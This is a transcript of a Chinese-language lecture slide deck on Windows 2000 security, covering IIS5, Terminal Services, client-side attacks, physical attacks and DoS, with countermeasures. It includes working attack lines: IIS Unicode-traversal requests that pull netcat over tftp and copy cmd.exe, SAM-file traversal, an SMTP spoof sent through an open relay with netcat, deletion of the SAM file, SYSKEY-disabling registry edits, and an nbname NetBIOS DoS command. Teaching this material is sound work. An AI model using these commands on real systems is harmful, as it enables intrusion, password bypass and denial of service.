win2k 系统安全 (2)

114
Win2k 系 系系 (2) 系系系 系系系系系系系系系系系系系系 E-mail: [email protected] http://infosec.pku.edu.cn/~hjbin

Upload: lovie

Post on 07-Jan-2016

124 views

Category:

Documents


10 download

DESCRIPTION

Win2k 系统安全 (2). 胡建斌 北京大学网络与信息安全研究室 E-mail: [email protected] http://infosec.pku.edu.cn/~hjbin. 目 录 IIS5 的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具. IIS5 的安全. IIS5 基础-基本 HTTP. HTTP :基于文本的无状态文件传输协议 http://infosec.pku.edu.cn/files/index.html - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Win2k 系统安全 (2)

Win2k 系统安全 (2)

胡建斌北京大学网络与信息安全研究室

E-mail: [email protected] http://infosec.pku.edu.cn/~hjbin

Page 2: Win2k 系统安全 (2)

目 录1. IIS5 的安全

2. 终端服务器安全

3. Microsoft Internet 客户端的安全

4. 物理攻击

5. 拒绝服务攻击

6. 安全功能和工具

Page 3: Win2k 系统安全 (2)

IIS5IIS5 的安全的安全

Page 4: Win2k 系统安全 (2)

IIS5 基础-基本 HTTP

HTTP :基于文本的无状态文件传输协议

http://infosec.pku.edu.cn/files/index.html

虚拟目录: files 映射到该系统磁盘的一个实际目录上,如c:\inetpub\wwwroot\files\

对于服务器而言则形成如下的请求: GET /files/index.html HTTP/1.0

若该文件存在,则服务器会向客户端推送该文件并在客户端的浏览器上显示;否则会有各种错误代码

Page 5: Win2k 系统安全 (2)

IIS5 基础- CGI CGI : Common Gateway Interface ,运行在服务器上的应

用程序,能针对每个请求生成动态的内容,扩展了 Web 功能 调用 CGI http://infosec.pku.edu.cn/scripts/cgi.exe?var1+var2 Windows 中几乎所有的可执行程序都可以作为服务器端的 CG

I 应用程序来执行 其中 cmd.exe 经常被作为寻找的目标

Page 6: Win2k 系统安全 (2)

IIS5 基础- ASP 和 ISAPI ASP : Active Server Pages ISAPI: Interface Server Application Programming Interf

ace 调用 ASP http://infosec.pku.edu.cn/scripts/script.asp?var1=x&va

r2=y 调用 ISAPI http://infosec.pku.edu.cn/isapi.dll? var1&var2

Page 7: Win2k 系统安全 (2)

HTTP 攻击伎俩

使用 ../ 进行文件系统遍历 URL 的十六进制编码

Page 8: Win2k 系统安全 (2)

使用 ../ 进行文件系统遍历 http://infosec.pku.edu.cn/../../../../winnt/secr

et.txt 通常是在目录上设置不当的 NTFS 访问控制列表所

导致的 http://infosec.pku.edu.cn/../../../../winnt/repa

ir/sam

Page 9: Win2k 系统安全 (2)

URL 的十六进制编码Http 允许 URL 中使用十六进制编码形式输入字符串

Page 10: Win2k 系统安全 (2)

利用 URL 的十六进制编码攻击 http://infosec.pku.edu.cn/../../winnt/repair/sam

http://infosec.pku.edu.cn % 2F % 2E % 2E % 2F % 2E % 2E % 2F winnt/repair/sam

能避免入侵检测系统的检测,或可以导致应用程序错误处理输入

Page 11: Win2k 系统安全 (2)

IIS5 缓冲区溢出 IPP 缓冲区溢出 索引服务 ISAPI 扩展缓冲区溢出 Code Red 蠕虫 ida/idq 缓冲区溢出 FrontPage 2000 服务器扩展缓冲区溢出

Page 12: Win2k 系统安全 (2)

安全对策 在系统驱动器之外的驱动器上安装 Web 文件夹 Web 服务器所在的卷应使用 NTFS 并谨慎设置 ACL 移动、删除或改名可能被利用的可执行文件: cacls,xcacls 在服务器的 Write 和 Execute ACL 中删除 Everyone 和 Us

ers Group 掌握对日志中攻击标志的分析

Page 13: Win2k 系统安全 (2)

将文件写入 Web 服务器 如在目标机上建立 tftp 服务器,然后上载文件: GET /scripts/..%c0%af../winnt/system32/tftp.exe? “-i”+192.168.234.31+GET+nc.exe c:\nc.exe HTTP/1.0

将 netcat写入到 C:\ ,因为默认情况下所有用户对 C:\ 具有写权限

如将目标机器上 cmd.exe 改名为 cmdl.exe GET /scripts/..%c0%af../winnt/system32/cmd.exe?+co

py+ c:\winnt\system32\cmd.exe+c:\cmdl.exe HTTP/1.0

其它自动上载工具:如 unicodeloader等

Page 14: Win2k 系统安全 (2)

通过 IIS5提升权限 通过 InProcesslsapiApps 利用 RevertToS

elf 安装 MS01-026补丁可以解决

Page 15: Win2k 系统安全 (2)

源代码泄漏攻击

起因 IIS 中的程序缺陷 低劣的 Web 编程技术常见的漏洞 +.htr(ism.dll) Webhits(webhits.dll) Translate: f (WebDAV, httpext.dll) WebDAV目录列表( httpext.dll)

Page 16: Win2k 系统安全 (2)

Web 服务器安全评估工具

Stealth HTTP Scanner SSLProxy http://www.obdev.at/Products

Achilles http://www.digizen-security.com/projects.html

Wfetch http://support.microsoft.com/support/kb/articles/Q284/2/85.sap

Whisker

Page 17: Win2k 系统安全 (2)

Web 服务器安全忠告

在路由器、防火墙或其它位于 Web 服务器周边位置的设备上应用网路级的访问控制

在主机级,阻塞Web 服务器上所有不必要的流入和流出连接

随时安装热修复: http://www.microsoft.com/technet/security

删除不必要的脚本映射和不使用的 ISAPI 应用程序 DLL 禁用不必要的服务 在应用 Web 服务之前,强烈推荐使用 Security Template 来对其

进行配置

Page 18: Win2k 系统安全 (2)

Web 服务器安全忠告 在系统卷之外建立一个独立的卷来存放Web根目录 Web 服务器所在的卷应使用 NTFS 文件系统,明确的设置 A

CL 删除 Everyone 、 Users 和其它非特权组所在目录上的写文

件和执行文件权限 不要将私有数据保存在 ASP 文件或包含有文件中 停止 Administration Web站点,删除 IISAdmin 和 IISHel

p 虚拟目录以及它们对应的真实目录

Page 19: Win2k 系统安全 (2)

目 录1. IIS5 的安全

2. 终端服务器安全

3. Microsoft Internet 客户端的安全

4. 物理攻击

5. 拒绝服务攻击

6. 安全功能和工具

Page 20: Win2k 系统安全 (2)

终端服务器安全终端服务器安全

Page 21: Win2k 系统安全 (2)

TS

Windows 2000提供了交互式的图形化远程 shell ,称为终端服务 (Terminal Service , TS) ,适用于远程管理或应用程序共享

引用 www.microsoft.com 的说法,“Windows 2000 终端服务使你能够从各种设备上,通过几乎任何类型的网络连接远程的基于 Windows 2000 的服务器,并在其上远程执行应用程序”

Page 22: Win2k 系统安全 (2)

TS

TS紧密集成在操作系统内部,免费提供远程管理模式 (最多有两个同时连接的会语以及一个控制台 )

TS 可以在你和服务器之间提供不同的认证和加密方法。对 Windows 2000 来说,终端服务器正在逐渐成为与 UNIX世界中的 SSH 一样重要的图形化产品

Page 23: Win2k 系统安全 (2)

TS 的代价 在本节中,我们将从安全的角度来考查 TS 的基本功

能、如何识别和枚举 TS 、解决不合理的 TS 实现的问题、已知的针对 TS 的攻击,以及在网络环境中保护和管理 TS 的基本知识

Page 24: Win2k 系统安全 (2)

TS组件

服务器 远程桌面协议 (Remote Desktop Protocol , RD

P) 客户端

Page 25: Win2k 系统安全 (2)

TS 服务器 TS集成在所有 Windows 2000 服务器中,通过控制面板中的 Windows组件功能可以很容易地启用和禁用

在以管理模式安装时,服务器是标准的组件;当作为远程应用程序服务器时,它需要额外的授权费用和架构

服务器的默认监听端口为 TCP 3389 (稍后将会介绍自行指定端口是很容易的 )

Page 26: Win2k 系统安全 (2)

远程桌面协议 (RDP) 在客户端和服务器之间的数据传输是通过 Microsoft

的基于 TCP 的远程桌面协议 (RDP-5) 进行的 RDP提供了三层加密以确保点对点数据传输的安全性:40 、 56或 128 位 RC4

与 Windows NT版本的 RDP-4 相比, Windows 2000提供了更多的基本功能,可以在大多数的网络环境中高效的使用

Page 27: Win2k 系统安全 (2)

客户端 通过 MS 安装程序 (MSI)软件包安装的独立的 16 位或 32位

可执行文件 终端服务高级客户端 (Terminal Services Advanced Alient ,

TSAC) ,基于 Win32 的 ActiveX控件,可以在 Web页面中使用

MMC管理单元 尽管它们互相之间存在明显的区别,但各种不同的客户端都用完全相同的方法来实现 RDP。因此,尽管它们看起来似乎不一样,但所有的 TS 客户端在与服务器进行对话时都以完全相同的方式进行操作

Page 28: Win2k 系统安全 (2)

修改 TS监听端口-服务器端

通过修改下面的注册表键值, TS 的默认端口可以重新指定

\HKLM\System\CurrentControlSet\Control\

Terminal Server \WinStations\RDP-Tcp

键值: PortNumber REG_DWORD=3389

Page 29: Win2k 系统安全 (2)

修改 TS监听端口-客户端

第一步是在 TS 客户端连接管理器中与目标主机建立连接 一旦创建了一个连接之后,选定该连接并从 File菜单中选择

Export ,将全部配置设置保存到以一个 CNS 为扩展名的文本文件中去

使用文本编辑器打开这个文件,将 Server Port修改为在服务器上指定端口,如下例所示 (自定义连接端口为 7777)

Page 30: Win2k 系统安全 (2)

修改 TS监听端口-客户端[CorpTermServ]

WinPosStr=0,2,0,0,941,639

Expand=1

Smooth Scrolling=0

Shadow Bitmap Enabled=1

Dedicated Terminal=0

Server Port=7777

Enable Mouse=1

[etc.]

Page 31: Win2k 系统安全 (2)

识别和查找 TS

3389端口扫描 TSProbe TSEnum

Page 32: Win2k 系统安全 (2)

攻击 TS

密码猜测攻击 用户权限提升畸形 RDP 拒绝服务攻击

Page 33: Win2k 系统安全 (2)

密码猜测攻击 -TSGrinder.exe

TS登录等价于真正的交互式登录,因此对真正的 Administrator账户是不能设置锁定阈值的。这意味着在启用了 TS服务的情况下,对密码猜测攻击来说,本地 Administrator账户是一个最易受攻击的目标

Tim Mullen开发了 TSGrinder 的工具,它能够通过 TS对本地 Administrator账户进行字典攻击

Page 34: Win2k 系统安全 (2)

密码猜测攻击 -TSGrinder.exe

TSGrinder 使用 TS 的 ActiveX控件来进行攻击。尽管这个 ActiveX控件经过特殊的设计可以拒绝对密码方法的脚本访问,但通过 C++ 中的 vtable绑定仍然可以访问 ImsTscNonScriptable接口方法。这允许为该控件编写自定义的接口,于是攻击者就可以对 Administrator账户进行密码猜测,直至猜测出密码

www.hammerofgod.com 上提供下载

Page 35: Win2k 系统安全 (2)

密码猜测攻击的防御 推荐将本地 Administrator账户改名 防御 TS密码猜测攻击的另一种有趣的方法是为 Wind

ows登录窗口制作一个自定义的法律声明,通过添加或编辑如下的注册表键值就可以实现:

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon

Page 36: Win2k 系统安全 (2)

用户权限提升 推荐实现Windows 2000 Resource Kit 中的一些关键功能

其中最重要的是,“ Appsec”可以使管理员能够限制用户只能运行特定的应用程序

这能够减小攻击者在获取本地用户访问之后进行权限提升攻击的危险

Page 37: Win2k 系统安全 (2)

IME远程 Root获取 输入法编辑器 (Input Method Editor , IME)漏洞,这个漏洞导致可以不用提供任何凭据就能通过 TS 的认证

IME 用来将标准的 101键键盘映射到某种语言中的大量可用字符,例如日语、中文和韩国语都需要 IME。虽然 IME 通常在本地用户的上下文中进行正常操作,但登录时, IME却在 SYSTEM 上下文中运行。这使得通过远程服务器的登录屏幕运行精心设计的命令成为可能

Page 38: Win2k 系统安全 (2)

IME 对策 只有简体中文版系统或在初始安装过程中安装了简体

中文 IME 的系统才会有这个漏洞 Microsoft发布的公告MS00-069和补丁能够为所有受影响的版本解决这个问题

Page 39: Win2k 系统安全 (2)

畸形 RDP 拒绝服务

2001年 1月, Yoichi Ubukata 和 Yoshihiro Kawabata发现了 RDP 中的一个漏洞,这个漏洞可能导致拒绝服务的情况出现。如果攻击者发送一种畸形的报文,它将使 RDP瘫痪。这种攻击会导致当前正在进行的全部工作丢失,并且需要重新启动系统才能恢复服务

Microsoft发布了一个补丁 (MS01-006) ,通过修改终端服务器服务使它正确地处理数据,从而消除这个漏洞

Page 40: Win2k 系统安全 (2)

目 录1. IIS5 的安全

2. 终端服务器安全

3. Microsoft Internet 客户端的安全

4. 物理攻击

5. 拒绝服务攻击

6. 安全功能和工具

Page 41: Win2k 系统安全 (2)

Microsoft InternetMicrosoft Internet客户端安全客户端安全

Page 42: Win2k 系统安全 (2)

攻击类型 缓冲区溢出,可被用来执行任意的代码而无需与用户进行任何交互

通过欺骗、强制或暗中执行命令,使用户运行由攻击者预先选择的可执行内容。这种方法有以下一些变化:

■ 巧妙伪装的、看起来无害的电子邮件附件

■ 嵌入在 HTML Web页面或电子邮件中的可执行内容

■ 活动内容技术的漏洞导致非法代码的执行

■ ActiveX控件,尤其是那些标记有“可以在脚本中安全使用”的控件

■ Java 虚拟机的程序缺陷 (Brown Orifice)

Page 43: Win2k 系统安全 (2)

攻击类型 访问脚本 /自动化接口,例如 Outlook地址簿蠕虫 写本地文件,通常是在可执行的目录中;经常通过临时目录

或缓存位置的不适当泄露发生。一旦在本地写入文件,它就可以执行并运行在本地计算机安全区域的上下文中,从而是完全受到信任的

读取本地文件,例如通过 HTML跨帧导航问题或使用 IFRAME。这种技术的一个常见结果是从Web 浏览器的 cookie中获取用户的密码数据

调用客户端出站连接

Page 44: Win2k 系统安全 (2)

实现 实现 InternetInternet 客户端攻击客户端攻击

Page 45: Win2k 系统安全 (2)

恶意Web页面

客户端的一种最常见形式是在 Internet 上部署恶意的 Web服务器,存放经过精心设计的内容,用来诱骗用户的数据

这种方法的有效性取决于提高恶意Web站点 /页面的访问量,这通常是通过电子邮件或新闻组 / 列表文章来进行的

Page 46: Win2k 系统安全 (2)

恶意 E-mail 由于 HTML 功能的多样性 (嵌入小程序或控件、活动脚本、跨帧浏览、内联帧、 cookie解析等等 ) , HTML电子邮件成为理想的攻击媒介

由于接收端的漏洞导致这样的问题, Microsoft虽然备受指责,然而通过Outlook 或 Outlook Express(OE)这样的程序发送恶意编写的 HTML却十分困难。这些图形化的电子邮件客户端不允许对邮件消息的内容进行直接的操作,而为实现攻击目的却需要这样做

如果要在 Windows 上模拟这种命令行功能,可以通过命令行提示符直接向简单邮件传输协议 (Simple Mail Transfer Protocol , SMTP) 服务器手动发送消息。最佳的办法是将适当的 SMTP命令和数据写入到一个文本文件中,然后通过管道输入给 netcat

Page 47: Win2k 系统安全 (2)

Email Hacking

首先,将所需的 SMTP命令和消息数据写入到一个文件中helo somedomain.commail from: <[email protected]>rcpt to: <[email protected]>datasubject: Read this!Importance: highMIME-Version: 1.0Content-Type: text/html; charset=us-asciiContent-Transfer-Encoding: 7bit<HTML><h2>Hello World!</h2></HTML>.quit

Page 48: Win2k 系统安全 (2)

Email Hacking 然后在命令行中将这个文件通过管道传递给 netcat ,而 netcat 则应该指

向适当的邮件服务器的 SMTP监听端口 25 ,例如:

C:\>type malicious.txt | nc -vv mail.openrelay.net 25

Page 49: Win2k 系统安全 (2)

Email Hacking 恶意的攻击者通常会选择一些提供无限制的 SMTP消息中继的不引人注意的邮件服务器,而且会尽可能隐藏他们自己的源 IP地址,这样就不可能通过邮件服务器的日志来追查到他们

这样的“开放式 SMTP 中继”通常被垃圾邮件所利用,在 Usenet 的讨论或 http://mail-abuse.org 上经常可以找到这样的服务器

Page 50: Win2k 系统安全 (2)

Email Hacking

如果希望随 HTML格式的消息发送一个附件,则必须向消息中添加另一个MIME部分,根据 MIME规范 (RFC 2045-49) 用 Base64格式对附件进行编码

用以自动完成这项工作的最佳工具是 John G. Myers 的 mpack。mpack能够自动添加正确的 MIME头,这样它的输出就可以直接发送给 SMTP 服务器

下面的例子使用 mpack 对一个名为 plant.txt 的文件进行编码,输出到文件 plant.mim 中。可选的 -s参数用以指定消息的主题行

C:\>mpack -s Nasty-gram -o plant.mim plant.txt

Page 51: Win2k 系统安全 (2)

Email Hacking

下面将MIME部分插入到现有的 HTML格式的消息中去 对前面的 malicious.txt 来说,使用“ Content-Type:”一行中自定义的 MIME边界来划分该消息。 MIME边界以两个连字符开始,结束边界以两个连字符为后缀。还要注意嵌套的“multipart/alternative”MIME部分 (boundary2) ,这样 Outlook接收者就能够正确地对HTML消息正文进行解码

一定要十分注意换行的位置,因为 MIME 的解析根据它们的位置有着很大的不同。这个消息的重要性被设置为 high(高 ) ,这是诱使受害者上当受骗的一个伎俩

Page 52: Win2k 系统安全 (2)

Email Hacking

Page 53: Win2k 系统安全 (2)

Email Hacking 使用管道将这个文件输入给 netcat ,并发送给开放的 SMTP 服务器,就能够向 [email protected]发送一封 HTML格式的消息,并包含附件 plant.txt

要更好地理解多部分消息中的 MIME边界,参考 RFC 2046的第 5.1.1节。在 Outlook Express 中对收到的消息进行研究,也可以进一步了解其格式

单击 Properties | Details | Message Source就可以查看原始数据 (Outlook 不允许查看全部的原始 SMTP数据 )

Page 54: Win2k 系统安全 (2)

缓冲区溢出 如果在每天使用的软件——电子邮件客户端中存在缓冲区溢出的漏洞,那么

问题就很可怕了。在漏洞得到修正之前,任何使用存在问题的软件的人都将成为目标

2000年 7月 18 日; Underground Security Systems Research(USSR)公布了 GMT令牌缓冲区溢出漏洞, Outlook 和 Outlook Express(OE) 的用户随之发现了这一点。通过将 GMT令牌放在邮件消息的日期字段中并写入一个超长的值, Outlook 和 OE就会在 POP3和 IMAP4下载这样的消息时崩溃。如果可以发送精心设计的日期字段,攻击者选定的程序就可以封装在GMT值中并执行

Outlook 用户需要预览、阅读、回复或转发这样的消息; OE 用户简单地打开含有该消息的文件夹,在消息处理时就会自动发生——OE就会永久性地崩溃,除非清除邮箱

Page 55: Win2k 系统安全 (2)

Outlook/OE vCard 缓冲区溢出

这个问题最早由 Joel Moses发现,通过打开特定字段中含有大量文本数据的 vCards ,就可以利用 Internet Explorer 中的缓冲区溢出

vCards 是 1996年发明的一种电子名片格式, 1998年进入 RFC

vCards 以 .vcf 为文件扩展名。因为在读取 vCards时必须解析大量的数据字段,因此它们成为缓冲区溢出攻击的最佳目标

Page 56: Win2k 系统安全 (2)

Outlook/OE vCard 缓冲区溢出

尽管受害者必须显式地运行 vCard ,但由于它是一种方便的个人数据交换格式,因此大多数人都不会有任何的犹豫

在默认情况下, Outlook 会直接从邮件附件运行 vCards而不对用户进行提示,除非安装了 Office 安全更新。在直接打开磁盘上的 .vcf 文件时,不会出现提示

Page 57: Win2k 系统安全 (2)

Outlook/OE vCard 缓冲区溢出

vCards采用非常简单的 ASCII结构,下面的例子是一个名为 John Doe.vcf 的 vCard( 为了简明起见,删除了一些可选的字段 ) :

Page 58: Win2k 系统安全 (2)

Outlook/OE vCard 缓冲区溢出

如果可选的 BDAY( 生日 ) 字段超过 55 个字符,运行它就会导致 Outlook 终止并溢出

含有大量文本数据的 EMAIL 字段也会导致同样的结果,而在 N(姓名 ) 字段中填入大量的文本数据会导致 Outlook占用 99%的系统 CPU资源

主要的问题似乎在于 Outlook 的地址簿,它在试图从 vCard 导入超长的字段时发生阻塞。用户将存在问题的 vCard复制到他们的 Outlook/OE 的联系人文件夹中,通过Windows资源管理器,或通过嵌入在 Web页面或电子邮件消息中的链接打开它时,也会发生问题

Page 59: Win2k 系统安全 (2)

其它缓冲区溢出 Windows媒体播放器 .asx 缓冲区溢出 Georgi Guninski 和 Richard Smith发现的 ActiveX“Sa

fe for Scripting(脚本安全)”问题 Access数据库实例化 IE 5 中执行 VBA 代码

Page 60: Win2k 系统安全 (2)

写本地文件 将文件写入本地磁盘,如果能够写入任意的文件然后又能够执行它们,那么麻烦就大了。如果文件已经写入到磁盘上,那么只有文件系统 ACL 和它们与用户账户权限的交集能够确定哪些能够被执行而哪些不能,因此只要过了第一关,第二步就很容易了。

这种攻击的一种聪明的变种是识别磁盘上可以可靠地写入数据的静态位置——例如, Internet临时缓存文件的名称和位置是可以预测的。这使得攻击者可以实现“选定文件内容”攻击,在文件里面他们可以精心设计恶意的脚本或是其他提交给 Internet 客户端的指令,以便可以写入到这些可预测的位置之一。一旦完成了这一步,那么通过 IFRAME 或其他的技术从已知的位置执行这些脚本就很容易了

Page 61: Win2k 系统安全 (2)

执行被写入临时 Internet 缓存的 .chm文件

Georgi Guninski 的第 28号公告描述了这个漏洞。它涉及到 4个基本的步骤,它们都是在 IE 或 Outlook/OE 中装载HTML时进行的:

1. 使用一些 HTML 代码,向 IE 的 Internet临时文件缓存中写入一系列相同的经过特殊设计的已编译 HTML帮助文件 (.chm)

2. 从第一份 HTML 文档中,装载第二份 HTML 文档,第二份文档位于另一台服务器上,该服务器的名称与存放父文档的服务器的名称不同

3. 识别 Internet临时缓存文件夹的位置

4. 在查点出的缓存文件夹中执行 .chm 文件

Page 62: Win2k 系统安全 (2)

通用对策 仔细配置出站网关访问控制,阻塞除由公司策略明显允许

的通信之外的全部通信。客户端攻击的最可怕的一种可能就是调用与恶意服务器之间的出站连接在不安全的协议上,例如 telnet 或 SMB

不要在重要的服务器 上读取邮件或浏览 Web 不要在重要的服务器上安装 Microsoft Office 在浏览 Web 和读取邮件时,尽可能使用非特权用户身份,

而不要用 Administrator

Page 63: Win2k 系统安全 (2)

通用对策 坚持原则——不要点击不可信的链接或查看不可信的电子邮件附件,最好将其删除

一定要及时升级 Internet 客户端软件。目前,使用 Windows更新站点来自动检测和安装你需要的补丁 (Microsoft计划在 2001年夏天推出一个新的工具,以帮助用户确定他们的 IE/OE和 Outlook需要安装哪些补丁 )。在编写本书时, IE 5.5 是Microsoft 的核心 Internet 客户端的最新版本,并且 Service Pack 1也已经发布。在 IE 中,检查 Help|About 以查看已经安装了哪些补丁,并且确保你正在使用 128 位加密强度

Page 64: Win2k 系统安全 (2)

通用对策 不要忘了及时到 Office更新站点上对 Office 进行更新。特别

的,确保你已经安装了 Outlook电子邮件安全更新 适当的设置 IE 的 Security Zone ,包括禁用 Restricted Si

te 区域中的全部功能,然后配置 Outlook/OE 使用该区域读取电子邮件

将安全策略中的 Windows 2000 LAN Manager认证级别设置为 Send NTLMv2 Response Only。这能够降低对 SMB认证进行窃听攻击的危险 (但不能阻止恶意服务器和 MITM攻击 )

Page 65: Win2k 系统安全 (2)

通用对策 禁用 Windows 2000 telnet 客户端的 NTLM 认证 ( 在命令行中执行 telnet命令,然后输入 unset ntlm ,然后用quit退出 )。这能够避免在对 telnet://链接进行反应时 NTLM凭据在网络上传播

在所有的 Office 应用程序的 Tools | Macro | Security 中将宏安全性设置为 High(高 )。这有助于避免 Office 文档中的恶意宏脚本进行的攻击

Page 66: Win2k 系统安全 (2)

通用对策 在客户端和邮件服务器上,及时更新防病毒标识数据库 部署基于网关和邮件服务器的过滤系统,剔除 Web页面

和电子邮件中的恶意内容 如果这些提示没能使你感到安全,那么不要再使用 Micro

soft Internet 客户端 ( 如果你运行 Windows 2000 ,那么实际上这是不可能的 )

Page 67: Win2k 系统安全 (2)

目 录1. IIS5 的安全

2. 终端服务器安全

3. Microsoft Internet 客户端的安全

4. 物理攻击

5. 拒绝服务攻击

6. 安全功能和工具

Page 68: Win2k 系统安全 (2)

物理攻击物理攻击

Page 69: Win2k 系统安全 (2)

物理攻击 如果入侵者能够不受限制地在物理上访问一台Windows

2000 系统,那么他们如何进行攻击呢? 本节将从物理的角度探讨攻击者如何从Windows 2000获取数据,通常的方法是引导到另外的操作系统并在离线的状态下对系统的属性进行编辑

Page 70: Win2k 系统安全 (2)

对 SAM 进行离线攻击 破解通常依赖于获取 NT/2000 的密码数据库——安全账

户管理器 (Security Accounts Manager , SAM) 文件 通过离线攻击, SAM 的内容也可以被坏人获取,只需引

导到另一种操作系统,然后将 SAM复制到可移动媒体或网络共享中

首先介绍一些经典的离线攻击技术,然后分析这些攻击对EFS潜在的影响。最后,讨论 EFS 攻击的一个例子,它不需要在离线状态下访问系统

Page 71: Win2k 系统安全 (2)

通过删除 SAM废除 Administrator密码

通过在系统处于离线状态时删除 SAM 文件,然后就可以在系统重新启动后以空密码登录 Administrator账户。这种方法同时也删除了目标系统上所有现有的用户账户,但与磁盘上的重要数据相比,攻击者并不考虑这一点

这种攻击有多种实现方式,但最直接的方法是制作一张可引导的 DOS 系统软盘,并将 Sysinternal 的 ntfsdospro复制到软盘上。然后这张软盘就可以用来将目标系统引导到 DOS

Page 72: Win2k 系统安全 (2)

通过删除 SAM废除 Administrator密码

如果目标系统使用 FAT 或 FAT32 ,那么只需输入以下命令就可以删除 SAM 文件:

A:\>del c:\winnt\system32\config\sam

如果目标系统使用 NTFS 文件系统,那么可以使用 ntfsdospro将 NTFS 卷装载到 DOS 中,然后使用相同的命令来删除 SAM

Page 73: Win2k 系统安全 (2)

通过删除 SAM废除 Administrator密码

当系统稍后重新启动时, Windows 2000将重新创建一个默认的 SAM 文件,它含有 Administrator账户,而且密码为空。只需使用这个账户和密码登录,就可以获得对系统的全面控制

这里需要注意的是,删除 SAM 并不会影响Windows 2000域控制器,因为它们没有把密码散列保存在 SAM 中。然而, Grace 和 Bartlett 的文章指出了一种方法,通过在域控制器上安装另一份Windows 2000 ,就可以获得基本相同的效果

Page 74: Win2k 系统安全 (2)

通过使用 chntpw 对 SAM 进行散列注入

如果你希望使用更为成熟的物理攻击方法,不想破坏掉系统中全部的账户,可以使用一张 Linux引导软盘和 Petter Nordahl-Hagen 的 chntpw ,在离线状态将密码散列注入到 SAM 中

即使在应用了 SYSKEY时,或即使选择了用密码来保护 SYSKEY或将它保存在软盘上的选项,注入仍然能够奏效!

Page 75: Win2k 系统安全 (2)

通过使用 chntpw 对 SAM 进行散列注入

Petter说明了如何将 SYSKEY 关闭。更糟的是,他发现攻击者并不需要这样做——只需将旧的、未经 SYSKEY处理的散列直接注入到 SAM 中,在重新启动后,它就会自动被转换为 SYSKEY散列

Page 76: Win2k 系统安全 (2)

关闭 SYSKEY的方法

1. 将 HKLM\System\CurrentControlSet\Control\Lsa\SecureBoot设置为 0 以禁用 SYSKEY(这个键的可能取值为: 0——禁用; 1——不受保护的密钥保存在注册表中; 2——密钥保存在注册表中,受密码保护; 3——密钥保存在软盘上 )

2. 将二进制结构 HKLM\SAM\Domains\Account\F 中的一个特殊标志位修改为以前 SecureBoot 的相同模式。在系统处于运行状态时,这个主键是不能访问的

3. 在 Windows 2000 中, HKLM\security\Policy\PolSecretEncryptionKey\ <default>主键也需要被修改为与以前的两个主键相同的值

Page 77: Win2k 系统安全 (2)

通过使用 chntpw 对 SAM 进行散列注入

根据 Petter 的说法,在 NT 4 SP6之前的系统上只修改前两个值中的一个会导致在完全引导之后出现一个警告,指出 SAM 和系统设置之间的不一致性, SYSKEY会被重新启用。而在 Windows 2000 上,在重新启动之后,这 3个键值之间的不一致似乎直接被重置为最可能的值

Page 78: Win2k 系统安全 (2)

目 录1. IIS5 的安全

2. 终端服务器安全

3. Microsoft Internet 客户端的安全

4. 物理攻击

5. 拒绝服务攻击

6. 安全功能和工具

Page 79: Win2k 系统安全 (2)

拒绝服务攻击拒绝服务攻击

Page 80: Win2k 系统安全 (2)

拒绝服务 (Denial of Service , DoS) 攻击并不是以窃取用户账户或系统数据为直接目的,而是使系统拒绝合法用户对系统服务的访问

DoS 可以有很多种形式,例如通过耗尽系统资源,使合法用户访问站点的请求失败,或者通过一个精心制作的与 RFC 不兼容的报文导致操作系统的挂起

在某些情况下,如果攻击需要目标计算机重新启动才能完成,DoS 实际上被用来辅助对系统的入侵

Page 81: Win2k 系统安全 (2)

TCP连接淹没

TCP连接淹没( connect flood)方法有时也被称为进程表攻击( process table attack)。顾名思义,这种方法是与目标之间建立尽可能多的 TCP连接,直到目标由于资源耗尽而不能再为请求提供服务为止

TCP连接淹没比曾经流行的 TCP SYN淹没攻击更为先进,因为它实际上完成了 3次握手过程,使目标计算机上的所有套接字都处于 ESTABLISHED状态。最终,所有的套接字都被耗尽,目标就不能再接受任何新的连接,而不管它还具有多少可用的内存、带宽、 CPU时间等

Page 82: Win2k 系统安全 (2)

TCP连接淹没

这确实是一种非常有破坏力的攻击,而且只要攻击者能够访问任一个监听服务 (例如 TCP 80 端口上的 WWW 服务 ) ,那么几乎没有什么防御方法

攻击工具: Portfuck

Page 83: Win2k 系统安全 (2)

应用程序服务级DoS 攻击

IIS 的 WebDAV telnet 服务器

Page 84: Win2k 系统安全 (2)

基于 LAN 的 DoS 攻击

在面向 LAN 的 Windows 2000 DoS 攻击中,大多数都与NetBIOS 有关。 NetBIOS 的传统问题是它依赖于不可靠的、无认证的服务。它提供了一种 IP地址与 NetBIOS 名称间相互映射的方法,很容易被伪装,因此任何可以连接到本地网络中的人都可以通过声称已经注册了其他合法客户端的 NetBIOS 名称或者向特定的主机发送“名称释放”报文,从而使合法客户端断开网络

收到这种报文的客户端将会完全丢失加入 NetBIOS 网络的能力,包括访问文件共享、 Windows域认证等等

Page 85: Win2k 系统安全 (2)

基于 LAN 的 DoS 攻击

下面是使用 nbname 对一台主机进行 DoS 攻击的例子。在Windows 2000 上,你必须首先禁用 TCP/IP 上的 NetBIOS ,以避免它与真正的 NBNS 服务发生冲突,因为 NBNS服务通常会大量地使用 UDP 端口 137 。然后,运行 nbname( 使用你要攻击的主机的 IP地址代替这里的 192.168.234.222) :C:\>nbname /astat 192.168.234.222 /conflict

Page 86: Win2k 系统安全 (2)

基于 LAN 的 DoS 攻击

其中 /ASTAT参数用于从目标获取远程适配器的状态, /CONFLICT参数向响应适配器状态请求的计算机的远程名称表格中的全部名称发送名称释放报文

通过使用 /QUERY [name IP] /CONFLICT /DENY [name_or_file]参数,攻击者可以对整个网络进行 DoS 攻击

Page 87: Win2k 系统安全 (2)

基于 LAN 的 DoS 攻击

在受害主机上,可能会出现下列症状: 网络连接时断时续

网络邻居 (Network Neighborhood)等工具不能正常工作

net send命令不能正常工作

受影响的服务器不能认证域登录

不能访问共享资源和基础的 NetBIOS 服务,例如 NetBIOS 名称解析

nbtstat 命令会将 NetBIOS 名称服务的状态显示为 Conflict( 冲突 )

Page 88: Win2k 系统安全 (2)

Windows 2000 DDoS僵尸

在 2000年 2月之后,“僵尸” (zombie)这个词开始流行起来,用以代指那些被用来攻击受害者的无辜的 DDoS 客户端

Tribe Flood Network(TFN) Trinoo Stacheldraht TFN2K WinTrinoo

Page 89: Win2k 系统安全 (2)

防御 DoS -联合你的 ISP

